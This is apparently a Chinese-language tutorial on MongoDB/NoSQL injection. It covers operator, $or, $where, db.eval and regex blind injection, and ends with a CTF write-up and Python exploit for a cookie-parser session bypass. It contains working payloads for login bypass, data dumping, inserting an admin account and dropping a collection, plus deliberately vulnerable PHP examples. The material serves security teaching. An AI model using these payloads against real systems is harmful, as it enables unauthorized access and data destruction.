NoSql注入

NoSQL 数据库(MongoDB、CouchDB、Cassandra 等)

有两种 NoSQL 注入分类的方式:

第一种是 按照语言的分类,可以分为:PHP 数组注入,JavaScript 注入和 Mongo Shell 拼接注入等等

第二种是 按照攻击机制分类,可以分为:重言式注入,联合查询注入,JavaScript 注入、盲注等

下面以 Mongodb 作为例子来看看几个注入

首先先了解 Mongdb 的操作

方法名 描述
$gt 大于
$lte 小于等于
$in 包含
$nin 不包含
$lt 小于
$gte 大于等于
$ne 不等于
$eq 等于
$and
$nor $nor在NOR一个或多个查询表达式的数组上执行逻辑运算,并选择对该数组中所有查询表达式都失败的文档
$not 反匹配(1.3.3及以上版本),字段值不匹配表达式或者字段值不存在
$or

重言式注入

模糊查询用正则式:db.customer.find({'name': {'$regex':'s'} })

在这些操作符中,$ne 就是我们在重言式注入中需要利用到的那个,它的作用是将不等于指定值的数据都查询出来,比如$ne=1时就是将所有不等于1的数据都查询出来

通过构造好的查询语句我们可以查到一组账户和密码

1
username=admin&password=123456

我们提供的用户名和密码传入后端后会被处理成

1
2
3
4
array(
'username' => 'admin',
'password' => '123456'
)

进入 MongoDB 后执行的查询命令为

1
db.users.find({'username':'admin', 'password':'123456'})

这时因为没有任何过滤,所以如果我们构造POC为,就能将数据库中所有的账户密码都查询出来

1
username[$ne]=1&password[$ne]=1

同样,进入后端的参数会变成

1
2
3
4
array(
'username' => array('$ne' => 1),
'password' => array('$ne' => 1)
)

查询命令也会变成

1
db.users.find({'username':{$ne:1}, 'password':{$ne:1}})

然后就会将 username ≠ 1password ≠ 1 的账户密码全部查询出来

联合查询注入

和 SQL 中的 admin' or 1=1 使逻辑判断永远为真类似,NoSql 的联合查询注入也是利用到了拼接代码使得后台判断逻辑为真

这里我们可以利用 $or 来进行拼接操作

假如后端某处的登录代码是这样的

1
string query ="{ username: '" + $username + "', password: '" + $password + "' }"

当输入账号密码后,正常的查询语句是这样的

1
{'username':'admin', 'password':'123456'}

由于这里没做任何过滤,所以我们可以构造恶意的payload来绕过登录

1
username=admin', $or: [ {}, {'a': 'a&password=' }]

这样拼接payload后的查询语句就变成了

1
{ username: 'admin', $or: [ {}, {'a':'a', password: '' }]}

JavaScript注入

$where 操作符可以在 MongoDB 查询语句中使用,允许你通过 JavaScript 表达式执行高级查询。 $where 操作符的值应该是一个JavaScript函数或字符串

函数或字符串中的 JavaScript 代码将在查询期间执行,并返回 true 或 false,以确定文档是否匹配查询条件

比如说:db.users.find( { $where: function() { return this.username == 'admin'; } } ) 就可以返回 users 集合中 username 等于 admin 的所有文档

  • MongoDB 2.4 之前 在 MongoDB 2.4 之前,通过 $where 操作符使用 map-reduce、group 命令可以访问到 Mongo Shell 中的全局函数和属性,如 db,也就是说可以通过自定义 JavaScript 函数来获取数据库的所有信息

    如下所示,发送以下数据后,如果有回显的话将获取当前数据库下所有的集合名:

    1
    username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1
  • MongoDB 2.4 之后 MongoDB 2.4 之后 db 属性访问不到了,但我们应然可以构造万能密码。如果此时我们发送以下这几种数据就可以查出所有用户

    1
    2
    3
    username=1&password=1';return true//

    username=1&password=1';return true;var a='1

假设后端的 php 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$query_body = array(
'$where' => "function () {
var username = '" . $_REQUEST["username"] . "';
var password = '" . $_REQUEST["password"] . "';
if (username == 'admin' && password == '123456') {
return true;
} else {
return false;
}
}"
);
$query = new MongoDB\Driver\Query($query_body);
$cursor = $manager->executeQuery('test.users', $query)->toArray();
if (count($cursor) > 0) {
echo "ok";
} else {
echo "no";
}
?>

那我们输入 username=1&password=1';return true;

那么后端就会处理成:

1
2
password = 1;
return true;

使得判断逻辑为真

Command注入

通过 db.eval 方法来执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];

$cmd = new MongoDB\Driver\Command( [
'eval' => "db.users.distinct('username',{'username':'$username'})"
] );

$result = $manager->executeCommand('test.users', $cmd)->toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====<br>';
echo 'username:' . $user['username'] . '<br>';
echo 'password:' . $user['password'] . '<br>';
}
}
else{
echo 'Login Failed';
}
?>

此时构造下列 payload:

1
2
username=1'});db.users.drop();db.user.find({'username':'1
username=1'});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'1

则将改变原本的查询语句造成注入

盲注

和 SQL 中的 盲注一样,都是通过页面的回显来判断是否正确

需要用到的 MongoDB 的操作符来进行盲注 $eq$regex

$正则表达式_MonogDB 中文网

要使用$regex,请使用以下语法之一:

1
2
3
{ <field>: { $regex: /pattern/, $options: '<options>' } }
{ <field>: { $regex: 'pattern', $options: '<options>' } }
{ <field>: { $regex: /pattern/<options> } }

在MongoDB中,您还可以使用正则表达式对象(即/pattern/)来指定正则表达式:

1
{ <field>: /pattern/<options> }

在已知用户名的情况下,我们通过正则匹配来获取密码

1
http://127.0.0.1/index.php?username[$eq]=time&password[$regex]=.{5}

.{5} 表示匹配任意 5 个字符,这个正则表达式可以匹配长度为 5 的任意字符串,也就是说,密码必须是 5 个字符长的任意组合

. 匹配任意单个字符,而 {5} 表示重复5次

逐渐增大数字,当数字为 7 时显示登录失败,而数字为 6 时登录成功,就说明密码长度为6

提交的数据进入 PHP 后的数据如下:

1
2
3
4
array(
'username' => 'admin',
'password' => array('$regex' => '.{6}')
)

进入 MongoDB 后执行的查询命令为:

1
db.users.find({'username':'admin', 'password':{$regex:'.{6}'}})

AliyunCTF2026 Easy Login

  1. 服务端使用 cookie-parser 解析 Cookie
  2. 会话校验逻辑:
    • 从 Cookie 中读取 sid
    • sessionsCollection.findOne({ sid }) 查找会话
  3. cookie-parser 支持 JSON Cookie:当 Cookie 值以 j: 开头时,会被 JSON.parse 解析为对象

当我们构造 sid=j:{"$ne":null} 时:

  • req.cookies.sid 不再是字符串,而是对象 {$ne: null}
  • sessionsCollection.findOne({ sid }) 实际变成了 findOne({ sid: { $ne: null } })
  • 这会匹配任意存在的 session

Exp:

1
2
3
4
5
6
7
8
9
10
11
import time
import requests

BASE = "http://223.6.249.127:47484"
n
requests.post(f"{BASE}/visit", json={"url": "http://example.com"}, timeout=10)
time.sleep(2)

cookies = {"sid": 'j:{"$ne":null}'}
r = requests.get(f"{BASE}/admin", cookies=cookies, timeout=10)
print(r.text)